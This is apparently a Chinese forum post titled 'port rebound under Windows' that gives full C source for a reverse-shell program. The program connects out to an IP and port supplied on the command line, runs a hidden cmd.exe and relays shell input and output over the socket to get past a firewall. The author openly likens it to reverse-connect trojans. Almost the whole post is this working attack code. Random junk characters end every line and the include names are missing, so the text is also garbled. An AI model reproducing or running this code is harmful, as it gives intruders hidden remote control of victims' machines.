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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L>GYj6D9  
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/* ============================== n8aiGnd=v  
Rebound port in Windows NT "dOY_@kg  
By wind,2006/7 S9+gVR8]C  
===============================*/ Dq 4}VkY  
#include J&1N8Wk)  
#include ~M1%,]  
2]f.mq_PD  
#pragma comment(lib,"wsock32.lib") 2+cicBD  
lS*.?4zX  
void OutputShell(); GhA~PjZS  
SOCKET sClient; O'U,|A  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ys6"Q[B  
cty#@?"e  
void main(int argc,char **argv) g]JI}O*5  
{ 4<Y[L'UaA@  
WSADATA stWsaData; c2:kZxT  
int nRet; _tJURk%  
SOCKADDR_IN stSaiClient,stSaiServer; qqre d>K  
~2ei+#d!^  
if(argc != 3) d0E5;3tQ  
{ aJ;R8(*;\  
printf("Useage:\n\rRebound DestIP DestPort\n"); Nx z ,/d  
return; O4mWsr  
} S^=/}PT'  
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WSAStartup(MAKEWORD(2,2),&stWsaData); n:kxG  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uoc-qmm  
e}w!]  
stSaiClient.sin_family = AF_INET; fltc dA  
stSaiClient.sin_port = htons(0); u)>*U'bM  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); I@v.Hqg+7  
:PkSX*E[q  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T5G+^XDA  
{ m':m`,c!  
printf("Bind Socket Failed!\n"); -8e tH&  
return; ueo3i1  
} "+Rm4_  
9j9?;3;  
stSaiServer.sin_family = AF_INET; Mt0|`=64  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); FQ^uX]<3j  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); mt7:`-  
:7*\|2zA  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) r${a S@F  
{ ^r$5];n  
printf("Connect Error!"); wt,N<L  
return; rMloj8O*  
} CKgyv%T5m:  
OutputShell(); K?WqAVK  
} ).b+S>k  
ZH :X 4!  
void OutputShell() :g_ +{4  
{ d^>se'ya  
char szBuff[1024]; Id1[}B-T  
SECURITY_ATTRIBUTES stSecurityAttributes; -2 ?fg   
OSVERSIONINFO stOsversionInfo; tJ3s#q6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2Z |kf9  
STARTUPINFO stStartupInfo; |3@]5f&  
char *szShell; 'KG`{K$  
PROCESS_INFORMATION stProcessInformation; ]ORat.*0[T  
unsigned long lBytesRead; $R4\jIew V  
,pepr9Yd  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4f5$^uN$qA  
t trp| (  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); hG)lVo!L4j  
stSecurityAttributes.lpSecurityDescriptor = 0; n_hD  
stSecurityAttributes.bInheritHandle = TRUE; vkLG<Y  
UzXbaQQ2g  
>dY"B$A>  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y0^FTSQ|  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~46ed3eGzi  
Atw^C+"vW&  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "zc!QHpSd  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Rwk|cqr  
stStartupInfo.wShowWindow = SW_HIDE; {D8 IA3w  
stStartupInfo.hStdInput = hReadPipe; dRmTE  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yKJp37R  
 _>l,%n  
GetVersionEx(&stOsversionInfo); '@bA_F(  
X)S4rW%  
switch(stOsversionInfo.dwPlatformId) yE>DQ *  
{ SQK6BEjE8  
case 1: llJ)u!=5  
szShell = "command.com"; 0Jrk(k!  
break; wAYc)u#  
default: hJ :+*46  
szShell = "cmd.exe"; m? hX=  
break; ap!<8N  
} !)]3 @$#  
DJ.Ct4  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4g9VE;Gd  
6(=:j"w0  
send(sClient,szMsg,77,0); TvR2lP  
while(1) WMg^W(  
{ Sl#XJ0 g  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <rI~+J]s  
if(lBytesRead) czzV2P/t}  
{ ] $*cmk(Y  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &0`L;1R  
send(sClient,szBuff,lBytesRead,0); h2]Od(^[  
} ub%q<sE*  
else &r_B\j3  
{ K||85l?<  
lBytesRead=recv(sClient,szBuff,1024,0); _ev^5`>p/  
if(lBytesRead<=0) break; I/l]Yv!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z8W<RiR  
} )_ uK(UNZ5  
} ~jaGf  
y;H 3g#  
return; d8>D=Ve  
}
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